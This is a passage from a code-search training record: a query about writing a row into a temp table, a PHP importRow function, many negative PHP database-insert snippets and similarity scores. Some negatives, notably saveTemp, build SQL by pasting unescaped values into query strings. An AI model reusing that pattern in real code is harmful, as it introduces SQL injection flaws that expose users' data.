href=\"{$this->out_url}{$this->list[$i]}/\">{$this->list[$i]}</a></li>\nOUT;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tif($this->total_pages==$this->list['current'])\n\t$str .=\"<li class='last'>\".$this->list['current'].\"</li>\";\n\telse\n\t$str .=\"<li>\".$this->list['current'].\"</li>\";\n\t\n\t$cnt=1;\n\tfor ($i=$this->page+1; $i <= $this->total_pages ; $i++)\n\t\t{\n\t\t\tif($this->total_pages==$i || ($this->half_block-1)==$cnt)\n\t\t\t$classlast=' class=\"last\"';\n\t\t\telse\n\t\t\t$classlast='';\n\t\t\t\n\t\t\tif ($this->half_block==$cnt)\n\t\t\tbreak;\n\t\t\t$str .=<<<OUT\n\t\t\t<li{$classlast}><a href=\"{$this->out_url}{$this->list[$i]}/\">{$this->list[$i]}</a></li>\nOUT;\n\t\t\t$cnt++;\n\t\t}\n\n\tif($this->list['current']<$this->total_pages){\n\t$str .=<<<OUT\n\t\t\t<li class=\"next\"><a href=\"{$this->out_url}{$next}/\"><i class=\"i\"></i></a></li>\nOUT;\n\t}\n\t\n\t$str .=<<<OUT\n \t\t </div>\nOUT;\n\tif ($this->total_pages>1)\n\treturn $str;\n\t\n\t}", "protected function _generateCoverageHtml()\n {\n $coverage = xdebug_get_code_coverage();\n ksort($coverage);\n\n foreach ($coverage as $file => $lines) {\n $this->_addToCoverageList($file, $lines);\n }\n\n foreach ($this->_coverage as $file => $lines) {\n $this->_writeCoverageReport($file, $lines);\n }\n\n $summary = '<html><head>';\n $summary .= '<style>\n\n\n </style>';\n $summary .= '</head><body>' . \"\\n\";\n $summary .= '<ul>' . \"\\n\";\n $tracker = Tracker::getInstance();\n\n $summary .= '<li><dl><dt>File</dt><dd>All Files</dd><dt>Lines</dt><dd>' . $tracker->getTotalLines() . '</dd><dt>Covered Lines</dt><dd>' . $tracker->getCoveredLines() . '</dd><dt>Percent</dt><dd>' . $tracker->getTotalCoverage() . '%</dd></dl></li>' . \"\\n\";\n\n foreach ($tracker->getCoverages() as $coverage) {\n $summary .= '<li><dl><dt>File</dt><dd><a href=\"' . $coverage->getPath() . '\">' . $coverage->getFile() . '</a></dd><dt>Lines</dt><dd>' . $coverage->getLineCount() . '</dd><dt>Covered Lines</dt><dd>' . $coverage->getCoveredLineCount() . '</dd><dt>Percent</dt><dd>' . $coverage->getPercentCovered() . '%</dd></dl></li>' . \"\\n\";\n }\n $summary .= '</ul>';\n file_put_contents($this->coverageDirectory() . '/index.html', $summary);\n }" ]
[ "0.6610232", "0.6597837", "0.6548976", "0.64678496", "0.6376613", "0.6364415", "0.6289941", "0.62080693", "0.6062338", "0.6044103", "0.6025855", "0.59870213", "0.59584314", "0.59313565", "0.5928711", "0.5914045", "0.5889255", "0.5884663", "0.5847394", "0.584494", "0.5833446", "0.5783244", "0.5777829", "0.5754049", "0.5751314", "0.57422715", "0.57376915", "0.57205784", "0.57097584", "0.56981105", "0.5685951", "0.5677577", "0.56753474", "0.5650237", "0.56364304", "0.56362736", "0.5625141", "0.56151503", "0.56149423", "0.56123644", "0.5606069", "0.56040543", "0.5581608", "0.5569623", "0.55590415", "0.55552", "0.5544515", "0.5539661", "0.5533149", "0.5511538", "0.55111706", "0.55088705", "0.54943377", "0.5482746", "0.5482671", "0.5471522", "0.5468997", "0.5466667", "0.54469806", "0.5441044", "0.54297704", "0.5425256", "0.5419822", "0.5417541", "0.54126126", "0.54119784", "0.5400956", "0.54007757", "0.5394163", "0.5385936", "0.5383025", "0.53819436", "0.5377693", "0.53745407", "0.53727233", "0.5372671", "0.537192", "0.53707063", "0.53684205", "0.5367255", "0.5364826", "0.5362173", "0.53554696", "0.5347916", "0.5346429", "0.5342136", "0.5336487", "0.5336383", "0.53354836", "0.5334713", "0.5334637", "0.5333693", "0.5332578", "0.53250885", "0.5323928", "0.53221065", "0.53185797", "0.5316198", "0.53104633", "0.5304828", "0.5304134" ]
0.0
-1
Write a row into the temp table
protected function importRow($arrData) { $this->setRoundData('csvLine', $this->getRoundData('csvLine')+1); // validation if($this->useValidation) { foreach($this->constraints as $constraint) { $fld = $constraint['fld']; $constraint = $constraint['constraint']; if($constraint == 'notEmpty' && !strlen($arrData[$fld])) { $this->msg("Line:".($this->getRoundData('csvLine')+1)." Col:".$fld.' does not match constraint '.$constraint, 'warning'); return false; } else { if(!$this->valditaor($constraint,$arrData[$fld])) { $this->msg("Line:".($this->getRoundData('csvLine')+1)." Col:".$fld.' does not match constraint '.$constraint, 'warning'); return false; } } } } $str = substr(str_repeat('?,',count($arrData)),0,-1); $this->Database->prepare('INSERT INTO '.$this->tmpTbl.' VALUES (NULL,'.$str.')')->executeUncached($arrData); $this->setRoundData('counter', $this->getRoundData('counter')+1); return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function saveRow( $row );", "public function insertRow($row);", "public function writeRow($row, $data, $column_start = 0, $format = null) {\n\t}", "public function write($row, $column, $data, $format = null, $data_type = -1) {\n\t}", "public function writeHeaderRow() {\n $headers = $this->getCSVHeaderRow();\n\n // write to the CSV\n fputcsv($this->newCSV, $headers);\n }", "function insertRow($row)\n {\n $column_names_sql = '';\n $column_values_sql = '';\n $i = 0;\n $len = count($row);\n foreach($row as $column_name=>$column_value)\n {\n $i = $i + 1;\n $column_names_sql.=$column_name;\n $column_values_sql.=\"\\\"\".sprintf(\"%s\", SQLite3::escapeString($column_value)).\"\\\"\";\n\n if ($i < ($len))\n {\n $column_names_sql.=\", \";\n $column_values_sql.=\", \";\n }\n }\n\n\n $sql = sprintf(\"INSERT INTO PRODUCT_INVENTORY (%s) VALUES (%s);\", $column_names_sql, $column_values_sql);\n $this->exec($sql);\n\n return $this->lastInsertRowId();\n\n }", "private function _writeRow($array, $delimiter = \"\\t\", $enclosure = null){\n $this->_writeRawRow($this->_prepareRow($array), $delimiter, $enclosure);\n }", "function writeTask($entry){\r\n // check if write worked\r\n $add = $this->exec(\"INSERT INTO `Task` (`task`) VALUES ('\".$entry.\"')\");\r\n if($add){ \r\n // Return the id it generated\r\n return $this->querySingle('select last_insert_rowid()');\r\n }\r\n return null; // Did not work\r\n }", "public function insert(Table $table, $row);", "protected function row(Array $row, PHPUnit_Extensions_Database_DataSet_ITable $table)\n {\n fwrite($this->fh, \"\\t<{$table->getTableMetaData()->getTableName()}\\n\");\n\n foreach ($table->getTableMetaData()->getColumns() as $columnName) {\n if (isset($row[$columnName])) {\n fwrite($this->fh, \"\\t\\t{$columnName}=\\\"\" . htmlspecialchars($row[$columnName]) . \"\\\"\\n\");\n }\n }\n\n fwrite($this->fh, \"\\t/>\\n\");\n }", "public function updateRow($row);", "public function addRow($row, $file)\n { }", "public function writeRow($data) {\n $headers = $this->getCSVHeaderRow();\n $rowData = [];\n // maps the data to match the row header order\n foreach($headers as $colName) {\n $rowData[] = $data[$colName];\n }\n\n // write the CSV\n fputcsv($this->newCSV, $rowData);\n }", "function testRow ($row, $rowSchema = null) {}", "function setRowDatas(&$row) {\r\n\t\t/* for optimization reason, do not save row. save just needed parameters */\r\n\t}", "protected abstract function insertRow($tableName, $data);", "public function write(ResultSet $data);", "public function WriteRow(\n array $newRow): void\n {\n $rows = [$newRow]; // you can append several rows at once\n $valueRange = new \\Google_Service_Sheets_ValueRange();\n $valueRange->setValues($rows);\n $range = 'Sheet1'; // the service will detect the last row of this sheet\n $options = ['valueInputOption' => 'USER_ENTERED'];\n try {\n $this->service->spreadsheets_values->append($this->spread_sheet_Id, $range, $valueRange, $options);\n } catch (Exception $exception) {\n echo $exception;\n }\n /*\n $newRow = [\n '456740',\n 'Hellboy',\n 'https://image.tmdb.org/t/p/w500/bk8LyaMqUtaQ9hUShuvFznQYQKR.jpg',\n \"Hellboy comes to England, where he must defeat Nimue, Merlin's consort and the Blood Queen. But their battle will bring about the end of the world, a fate he desperately tries to turn away.\",\n '1554944400',\n 'Fantasy, Action'\n ];\n $rows = [$newRow]; // you can append several rows at once\n $valueRange = new \\Google_Service_Sheets_ValueRange();\n $valueRange->setValues($rows);\n $range = 'Sheet1'; // the service will detect the last row of this sheet\n $options = ['valueInputOption' => 'USER_ENTERED'];\n $service->spreadsheets_values->append($spreadsheetId, $range, $valueRange, $options);\n */\n }", "public function addRow(TableRow $row);", "protected function insertRow()\n { \n $assignedValues = $this->getAssignedValues();\n\n $columns = implode(', ', $assignedValues['columns']);\n $values = '\\''.implode('\\', \\'', $assignedValues['values']).'\\'';\n\n $tableName = $this->getTableName($this->className);\n\n $connection = Connection::connect();\n\n $insert = $connection->prepare('insert into '.$tableName.'('.$columns.') values ('.$values.')');\n var_dump($insert);\n if ($insert->execute()) { \n return 'Row inserted successfully'; \n } else { \n var_dump($insert->errorInfo()); \n } \n }", "public function changeRowData(&$row){}", "function setRowDatas(&$row) {\r\n\t\t\r\n }", "public function save() {\n $tmpHandle = new \\SplFileObject('php://temp', 'w+');\n $tmpData = '';\n\n $tmpHandle->fputcsv($this->model->columns());\n\n foreach($this->all() as $record) {\n $tmpHandle->fputcsv($record->toArray());\n $record->exists = true;\n }\n\n $tmpHandle->rewind();\n\n while ( ! $tmpHandle->eof()) {\n $tmpData .= $tmpHandle->fgets();\n }\n\n $this->file->flock(\\LOCK_EX | \\LOCK_NB);\n $this->file->ftruncate(0);\n $this->file->rewind();\n $this->file->fwrite($tmpData);\n $this->file->flock(\\LOCK_UN);\n }", "function insert_primary($fp,$acnt,$row_start)\n {\n\t\t$start = microtime(true);\n\t\n fseek($fp, 4*$acnt);\n\t\tfputs($fp, pack('L', $row_start));\n\t\t\n\t\t$GLOBALS['primary_time'] += microtime(true) - $start;\n \n return true;\n }", "public function addRow($tabela, $name, $type, $pkey, $notnull, $ai, $keys, $size, $default, $index, $unique);", "private function _loadDataToTemporaryTable(){\n\n }", "public function testSaveDataTableInsertNewRows() {\r\n\t\t// Prepare some database contents via SQL\r\n $records = [\r\n ['UUID' => 'uuid1tRMR1', 'bool' => false, 'int' => 10, 'string' => 'testReadMultipleRecords 1'],\r\n ['UUID' => 'uuid1tRMR2', 'bool' => true, 'int' => 20, 'string' => 'testReadMultipleRecords 2'],\r\n ['UUID' => 'uuid1tRMR3', 'bool' => false, 'int' => 30, 'string' => 'testReadMultipleRecords 3']\r\n ];\r\n\t\t$nonullvaluerecord = ['UUID' => 'uuid2nvr1', 'bool' => false, 'int' => 30, 'string' => 'testReadMultipleRecords 3'];\r\n\t\t$nullvaluerecord = ['UUID' => 'uuid2nvr2', 'bool' => null, 'int' => null, 'string' => null];\r\n foreach ($records as $record) {\r\n $this->executeQuery('insert into POTEST (UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE) values (\\''.$record['UUID'].'\\','.($record['bool'] ? 1:0).','.$record['int'].', \\''.$record['string'].'\\')');\r\n }\r\n\t\t// Prepare datatable\r\n\t\t$datatable = new avorium_core_data_DataTable(1, 4);\r\n\t\t$datatable->setHeader(0, 'UUID');\r\n\t\t$datatable->setHeader(1, 'BOOLEAN_VALUE');\r\n\t\t$datatable->setHeader(2, 'INT_VALUE');\r\n\t\t$datatable->setHeader(3, 'STRING_VALUE');\r\n\t\t// Store a new record without any null values\r\n\t\t$datatable->setCellValue(0, 0, $nonullvaluerecord['UUID']);\r\n\t\t$datatable->setCellValue(0, 1, $nonullvaluerecord['bool']);\r\n\t\t$datatable->setCellValue(0, 2, $nonullvaluerecord['int']);\r\n\t\t$datatable->setCellValue(0, 3, $nonullvaluerecord['string']);\r\n\t\t$this->getPersistenceAdapter()->saveDataTable('POTEST', $datatable);\r\n\t\t// Check for the new record\r\n\t\t$resultwithoutnullvalues = $this->executeQuery('select UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE from POTEST order by UUID');\r\n\t\t$this->assertEquals(4, count($resultwithoutnullvalues), 'Wrong row count');\r\n\t\t$this->assertEquals($nonullvaluerecord['UUID'], $resultwithoutnullvalues[3]['UUID'], 'UUID from database is not as expected.');\r\n\t\t$this->assertEquals($nonullvaluerecord['bool']?1:0, $resultwithoutnullvalues[3]['BOOLEAN_VALUE'], 'Boolean value from database is not as expected.');\r\n\t\t$this->assertEquals($nonullvaluerecord['int'], $resultwithoutnullvalues[3]['INT_VALUE'], 'Integer value from database is not as expected.');\r\n\t\t$this->assertEquals($nonullvaluerecord['string'], $resultwithoutnullvalues[3]['STRING_VALUE'], 'String value from database is not as expected.');\r\n\t\t// Store a new record with null values\r\n\t\t$datatable->setCellValue(0, 0, $nullvaluerecord['UUID']);\r\n\t\t$datatable->setCellValue(0, 1, $nullvaluerecord['bool']);\r\n\t\t$datatable->setCellValue(0, 2, $nullvaluerecord['int']);\r\n\t\t$datatable->setCellValue(0, 3, $nullvaluerecord['string']);\r\n\t\t$this->getPersistenceAdapter()->saveDataTable('POTEST', $datatable);\r\n\t\t// Check for the new record, must contain null values, because when inserting the parameter is irrelevant\r\n\t\t$resultwithnullvaluesignoring = $this->executeQuery('select UUID, BOOLEAN_VALUE, INT_VALUE, STRING_VALUE from POTEST order by UUID');\r\n\t\t$this->assertEquals(5, count($resultwithnullvaluesignoring), 'Wrong row count');\r\n\t\t$this->assertEquals($nullvaluerecord['UUID'], $resultwithnullvaluesignoring[4]['UUID'], 'UUID from database is not as expected.');\r\n\t\t$this->assertEquals($nullvaluerecord['bool'], $resultwithnullvaluesignoring[4]['BOOLEAN_VALUE'], 'Boolean value from database is not as expected.');\r\n\t\t$this->assertEquals($nullvaluerecord['int'], $resultwithnullvaluesignoring[4]['INT_VALUE'], 'Integer value from database is not as expected.');\r\n\t\t$this->assertEquals($nullvaluerecord['string'], $resultwithnullvaluesignoring[4]['STRING_VALUE'], 'String value from database is not as expected.');\r\n\t}", "function store() {\r\n $this->reindex();\r\n //---------------------\r\n if (($handle = fopen($this->_origin, \"w\")) !== FALSE) {\r\n fputcsv($handle, $this->_fields);\r\n foreach ($this->_data as $key => $record)\r\n fputcsv($handle, array_values((array) $record));\r\n fclose($handle);\r\n }\r\n }", "function insert ($tablename, $newRow) \n\t{\n\t\t$lockfp = $this->getLock($tablename);\t\t\t\n\t\t$this->tables[$tablename][] = $newRow;\n\t\t$this->writeTable($tablename);\n\t\t$this->releaseLock($lockfp);\n\t}", "public function insertRow(TableRow $row, $position = null);", "private function write_single($data){\r\n if($this->$data[0] !== NULL){\r\n //add row of data to transaction object\r\n $this->$data[0]->add_list($data);\r\n }else{\r\n $this->$data[0] = new transaction_object($data[0]);\r\n $this->$data[0]->add_header($this->default_headers[$data[0]]);\r\n $this->$data[0]->add_list($data);\r\n }\r\n }", "public function save()\n {\n array_push($this->table, $this->value);\n }", "public function insertRow($row)\n {\n $sql = 'INSERT INTO data (sity, date, temp_curr, humidity, wind_spid, wind_dirn, icon, description) '\n . 'VALUES(:sity, :date, :temp_curr, :humidity, :wind_spid, :wind_dirn, :icon, :description)';\n\n $stmt = $this->pdo->prepare($sql);\n try {\n $stmt->execute([\n ':sity' => $row['sity'],\n ':date' => $row['date'],\n ':temp_curr' => $row['temp_curr'],\n ':humidity' => $row['humidity'],\n ':wind_spid' => $row['wind_spid'],\n ':wind_dirn' => $row['wind_dirn'],\n ':icon' => $row['icon'],\n ':description' => $row['description'],\n ]);\n } catch (\\PDOException $e) {\n $err_text = 'Error Insert Data!' . $e->getMessage();\n $this->errLoger($err_text, 'error');\n return null;\n }\n return $this->pdo->lastInsertId();\n }", "public function saveTemp($row = array())\n {\n $username = Zend_Registry::get('auth')->getIdentity()->USER_NAME;\n $result = true;\n //cek data tsb sudah pernah ada & dihapus atau benar2 data baru\n if(!$row['ROW_ID']) $row['ROW_ID'] = $this->getDeletedRec($row);\n\n //$div_code = str_replace('&', \"'||'&'||'\", $row['DIV_CODE']);\n //$cc_code = str_replace('&', \"'||'&'||'\", $row['CC_CODE']);\n\n $div_code = (empty($row['DIV_CODE'])) ? '' : str_replace(array('.', \"'\", '&'), array('', \"''\", '\\'||\\'&\\'||\\''), $row['DIV_CODE']);\n $cc_code = (empty($row['CC_CODE'])) ? '' : str_replace(array('.', \"'\", '&'), array('', \"''\", '\\'||\\'&\\'||\\''), $row['CC_CODE']);\n\n //$rk_name = str_replace('&', \"'||'&'||'\", $row['RK_NAME']);\n \n /*$tiket = (empty($row['TIKET'])) ? 0 : str_replace('.', '', addslashes($row['TIKET']));\n $transport_lain = (empty($row['TRANSPORT_LAIN'])) ? 0 : str_replace('.', '', addslashes($row['TRANSPORT_LAIN']));\n $uang_makan = (empty($row['UANG_MAKAN'])) ? 0 : str_replace('.', '', addslashes($row['UANG_MAKAN']));\n $uang_saku = (empty($row['UANG_SAKU'])) ? 0 : str_replace('.', '', addslashes($row['UANG_SAKU']));\n $hotel_jlh_tarif = (empty($row['HOTEL_JLH_TARIF'])) ? 0 : str_replace('.', '', addslashes($row['HOTEL_JLH_TARIF']));\n $others = (empty($row['OTHERS'])) ? 0 : str_replace('.', '', addslashes($row['OTHERS']));\n $total = (empty($row['TOTAL'])) ? 0 : str_replace('.', '', addslashes($row['TOTAL']));\n $sebaran_jan = (empty($row['SEBARAN_JAN'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_JAN']));\n $sebaran_feb = (empty($row['SEBARAN_FEB'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_FEB']));\n $sebaran_mar = (empty($row['SEBARAN_MAR'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_MAR']));\n $sebaran_apr = (empty($row['SEBARAN_APR'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_APR']));\n $sebaran_may = (empty($row['SEBARAN_MAY'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_MAY']));\n $sebaran_jun = (empty($row['SEBARAN_JUN'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_JUN']));\n $sebaran_jul = (empty($row['SEBARAN_JUL'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_JUL']));\n $sebaran_aug = (empty($row['SEBARAN_AUG'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_AUG']));\n $sebaran_sep = (empty($row['SEBARAN_SEP'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_SEP']));\n $sebaran_oct = (empty($row['SEBARAN_OCT'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_OCT']));\n $sebaran_nov = (empty($row['SEBARAN_NOV'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_NOV']));\n $sebaran_dec = (empty($row['SEBARAN_DEC'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_DEC']));\n $sebaran_total = (empty($row['SEBARAN_TOTAL'])) ? 0 : str_replace('.', '', addslashes($row['SEBARAN_TOTAL']));*/\n\n $check = \"\n SELECT * FROM TR_HO_SPD\n WHERE ROWIDTOCHAR(ROWID) = '{$row['ROW_ID']}'\n \";\n $count = $this->_db->fetchOne($check);\n\n if ($count > 0) {\n $sql = \"\n UPDATE TR_HO_SPD \n SET \n PERIOD_BUDGET = TO_DATE('{$row['PERIOD_BUDGET']}', 'YYYY'),\n DIV_CODE = '\".$div_code.\"',\n CC_CODE = '\".$cc_code.\"',\n RK_ID = '{$row['RK_ID']}',\n SPD_DESCRIPTION = '{$row['SPD_DESCRIPTION']}',\n COA_CODE = '{$row['COA_CODE']}',\n NORMA_SPD_ID = '{$row['NORMA_SPD_ID']}',\n CORE_CODE = '{$row['CORE_CODE']}',\n COMP_CODE = '{$row['COMP_CODE']}',\n BA_CODE = '{$row['BA_CODE']}',\n PLAN = '{$row['PLAN']}',\n GOLONGAN = '{$row['GOLONGAN']}',\n JLH_PRIA = '{$row['JLH_PRIA']}',\n JLH_WANITA = '{$row['JLH_WANITA']}',\n JLH_HARI = '{$row['JLH_HARI']}',\n TIKET = '{$row['TIKET']}',\n TRANSPORT_LAIN = '{$row['TRANSPORT_LAIN']}',\n UANG_MAKAN = '{$row['UANG_MAKAN']}',\n UANG_SAKU = '{$row['UANG_SAKU']}',\n HOTEL_JLH_HARI = '{$row['HOTEL_JLH_HARI']}',\n HOTEL_JLH_TARIF = '{$row['HOTEL_JLH_TARIF']}',\n OTHERS = '{$row['OTHERS']}',\n TOTAL = '{$row['TOTAL']}',\n REMARKS_OTHERS = '{$row['REMARKS_OTHERS']}',\n SEBARAN_JAN = '{$row['SEBARAN_JAN']}',\n SEBARAN_FEB = '{$row['SEBARAN_FEB']}',\n SEBARAN_MAR = '{$row['SEBARAN_MAR']}',\n SEBARAN_APR = '{$row['SEBARAN_APR']}',\n SEBARAN_MAY = '{$row['SEBARAN_MAY']}',\n SEBARAN_JUN = '{$row['SEBARAN_JUN']}',\n SEBARAN_JUL = '{$row['SEBARAN_JUL']}',\n SEBARAN_AUG = '{$row['SEBARAN_AUG']}',\n SEBARAN_SEP = '{$row['SEBARAN_SEP']}',\n SEBARAN_OCT = '{$row['SEBARAN_OCT']}',\n SEBARAN_NOV = '{$row['SEBARAN_NOV']}',\n SEBARAN_DEC = '{$row['SEBARAN_DEC']}',\n SEBARAN_TOTAL = '{$row['SEBARAN_TOTAL']}',\n TIPE_NORMA = '{$row['TIPE_NORMA']}',\n UPDATE_USER = '{$username}',\n UPDATE_TIME = SYSDATE\n WHERE ROWIDTOCHAR(ROWID) = '{$row['ROW_ID']}';\n \";\n } else {\n $sql = \"\n INSERT INTO TR_HO_SPD (\n PERIOD_BUDGET,\n DIV_CODE,\n CC_CODE,\n RK_ID,\n SPD_DESCRIPTION,\n COA_CODE,\n NORMA_SPD_ID,\n CORE_CODE,\n COMP_CODE,\n BA_CODE,\n PLAN,\n GOLONGAN,\n JLH_PRIA,\n JLH_WANITA,\n JLH_HARI,\n TIKET,\n TRANSPORT_LAIN,\n UANG_MAKAN,\n UANG_SAKU,\n HOTEL_JLH_HARI,\n HOTEL_JLH_TARIF,\n OTHERS,\n TOTAL,\n REMARKS_OTHERS,\n SEBARAN_JAN,\n SEBARAN_FEB,\n SEBARAN_MAR,\n SEBARAN_APR,\n SEBARAN_MAY,\n SEBARAN_JUN,\n SEBARAN_JUL,\n SEBARAN_AUG,\n SEBARAN_SEP,\n SEBARAN_OCT,\n SEBARAN_NOV,\n SEBARAN_DEC,\n SEBARAN_TOTAL,\n TIPE_NORMA,\n INSERT_USER,\n INSERT_TIME\n ) VALUES (\n TO_DATE('{$row['PERIOD_BUDGET']}', 'YYYY'),\n '\".$div_code.\"',\n '\".$cc_code.\"',\n '{$row['RK_ID']}',\n '{$row['SPD_DESCRIPTION']}',\n '{$row['COA_CODE']}',\n '{$row['NORMA_SPD_ID']}',\n '{$row['CORE_CODE']}',\n '{$row['COMP_CODE']}',\n '{$row['BA_CODE']}',\n '{$row['PLAN']}',\n '{$row['GOLONGAN']}',\n '{$row['JLH_PRIA']}',\n '{$row['JLH_WANITA']}',\n '{$row['JLH_HARI']}',\n '{$row['TIKET']}',\n '{$row['TRANSPORT_LAIN']}',\n '{$row['UANG_MAKAN']}',\n '{$row['UANG_SAKU']}',\n '{$row['HOTEL_JLH_HARI']}',\n '{$row['HOTEL_JLH_TARIF']}',\n '{$row['OTHERS']}',\n '{$row['TOTAL']}',\n '{$row['REMARKS_OTHERS']}',\n '{$row['SEBARAN_JAN']}',\n '{$row['SEBARAN_FEB']}',\n '{$row['SEBARAN_MAR']}',\n '{$row['SEBARAN_APR']}',\n '{$row['SEBARAN_MAY']}',\n '{$row['SEBARAN_JUN']}',\n '{$row['SEBARAN_JUL']}',\n '{$row['SEBARAN_AUG']}',\n '{$row['SEBARAN_SEP']}',\n '{$row['SEBARAN_OCT']}',\n '{$row['SEBARAN_NOV']}',\n '{$row['SEBARAN_DEC']}',\n '{$row['SEBARAN_TOTAL']}',\n '{$row['TIPE_NORMA']}',\n '{$username}',\n SYSDATE\n );\n \";\n }\n\n $this->_global->createSqlFile($row['filename'], $sql);\n return true;\n }", "private function _writeRawRow($array, $delimiter = \"\\t\", $enclosure = null){\n if($enclosure == null){\n $enclosure = chr(0);\n }\n fputcsv($this->_filePointer, $array, $delimiter, $enclosure);\n }", "protected function backupRow(DDatabase $database, $tableName,\n array &$values, DWritableStream $stream)\n {\n // Escape values.\n foreach ($values as &$value) {\n $value = DStatementPreparer::encloseStringValue(\n $database->escape($value)\n );\n }\n // Build row SQL.\n $rowSql = \"INSERT INTO `{$tableName}` VALUES(\" . implode(', ', $values) . \");\\n\";\n // Write to the backup file.\n $stream->write($rowSql);\n }", "public function saveRow__OLD()\n {\n\n $mem = memory_get_usage(); $origMem = $mem; $memory = $mem;\n $customer = $this->getCustomer();\n @set_time_limit(240);\n $row = $args;\n $newMem = memory_get_usage(); $memory .= ', '.($newMem-$mem); $mem = $newMem;\n $customer->importFromTextArray($row);\n\n if (!$customer->getData()) {\n return;\n }\n\n $newMem = memory_get_usage(); $memory .= ', '.($newMem-$mem); $mem = $newMem;\n try {\n $customer->save();\n $this->_customerId = $customer->getId();\n $customer->unsetData();\n $customer->cleanAllAddresses();\n $customer->unsetSubscription();\n $newMem = memory_get_usage(); $memory .= ', '.($newMem-$mem); $mem = $newMem;\n\n } catch (Exception $e) {\n }\n unset($row);\n return array('memory'=>$memory);\n }", "function addRowToTable(&$table, $row) {\n\t\tglobal $TCA, $BACK_PATH;\n\t\t$uid = $row['uid'];\n\t\t$hidden = $row['hidden'];\n\n\t\tif ($row[$TCA[$this->tableName]['ctrl']['languageField']]==0) {\n\t\t\t$catnum = $this->categories[$row['category']] . sprintf ('%02d', $row['number']);\n\t\t} else {\n\t\t\t$catnum = '';\n\t\t}\n\t\t// Get language flag\n\t\tlist($imglang, $imgtrans) = $this->makeLocalizationPanel($this->tableName,$row);\n\n\t\t// If deleted show the delete icon instead of the delete link\n\t\tif ('DELETED!' == $row['t3ver_label']) {\n\t\t\t$deleteIcon = '<img'\n\t\t\t\t. t3lib_iconWorks::skinImg(\n\t\t\t\t\t$BACK_PATH,\n\t\t\t\t\t'gfx/i/shadow_delete.png',\n\t\t\t\t\t'width=\"16\" height=\"14\"'\n\t\t\t\t\t)\n\t\t\t\t. '>';\n\t\t} else {\n\t\t\t$deleteIcon = $this->getDeleteIcon($uid);\n\t\t}\n\t\t\n\t\t// Add the result row to the table array.\n\t\t$table[] = array(\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $catnum . LF,\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. t3lib_div::fixed_lgd_cs(\n\t\t\t\t\t$row['name'],\n\t\t\t\t\t50\n\t\t\t\t) . LF,\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $imglang . LF,\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $imgtrans . LF,\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $row['timeslots'] . LF,\n\t\t\tTAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $this->getEditIcon($uid) . LF\n\t\t\t\t. TAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $deleteIcon . LF\n\t\t\t\t. TAB . TAB . TAB . TAB . TAB\n\t\t\t\t. $this->getHideUnhideIcon($uid,$hidden) . LF,\n\t\t);\n\t}", "public function insert($row)\n {\n $entry = '<entry xmlns=\"http://www.w3.org/2005/Atom\" xmlns:gsx=\"http://schemas.google.com/spreadsheets/2006/extended\">';\n foreach($row as $colName => $value) {\n $entry .= sprintf(\n '<gsx:%s>%s</gsx:%s>',\n $colName,\n $value,\n $colName\n );\n }\n $entry .= '</entry>';\n\n ServiceRequestFactory::getInstance()->post($this->getPostUrl(), $entry);\n }", "protected function addHeaderRowToCSV() {}", "private function createTempTable()\n\t{\n\t\t// generate a temp table name\n\t\t$this->tempTable = 'crawl_index_temp';\n\n\t\t// ensure the temp table doesnt exist\n\t\t$sql = sprintf('DROP TABLE IF EXISTS %s', $this->tempTable);\n\t\tmysql_query($sql, $this->db);\n\n\t\t// create the table and give an exclusive write lock\n\t\t$sql = sprintf('CREATE TEMPORARY TABLE %s (page_id INT(10) UNSIGNED NOT NULL) ENGINE=MEMORY', $this->tempTable);\n\t\tmysql_query($sql, $this->db);\n\t}", "public function PushRow() {\n $this->PushOutput($this->currow);\n// if (is_callable(array($this,$this->curtpl)))\n call_user_func(array($this,$this->curtpl), $this);\n }", "protected function addRowToCsvData(array $values) {\n $outstream = fopen(\"php://temp\", 'r+');\n fputcsv($outstream, $values, $this->sep, '\"');\n rewind($outstream);\n $csv = stream_get_contents($outstream);\n fclose($outstream);\n $this->data .= $csv;\n }", "function setDataRow($table,$data,$id) {\r\n\t\t\r\n\t\tif (!$table) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t$db =& JFactory::getDBO();\r\n\t\t$wert = new StdClass();\r\n\t\t\r\n\t\t\r\n\t\tforeach( $data as $key => $content ) {\r\n\t\t\t$wert->$key = $content;\r\n\t\t}\r\n\t\t\r\n\t\tif ( !$id ) {\r\n\t\t\t$wert->id = null;\r\n\t\t\t\r\n\t\t\tif ( !$db->insertObject($table, $wert, 'id') ) {\r\n\t\t\t\t//echo $db->getQuery();\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t//echo $db->getQuery();\r\n\t\t\treturn $db->insertid();\r\n\t\t\r\n\t\t} else {\r\n\t\t\t$wert->id = $id;\r\n\t\t\t\r\n\t\t\tif ( !$db->updateObject($table, $wert, 'id') ) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t//echo $db->getQuery();\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\treturn false;\r\n\t}", "function s_m_put_txt_data_insert($rows, $columnames, $store_data){\r\n // only the data in $store_data\r\n // (not index by column name but column number!)\r\n $row_nr = count($rows);\r\n for($i = 0; $i < count($columnames); $i++){\r\n $this_value = 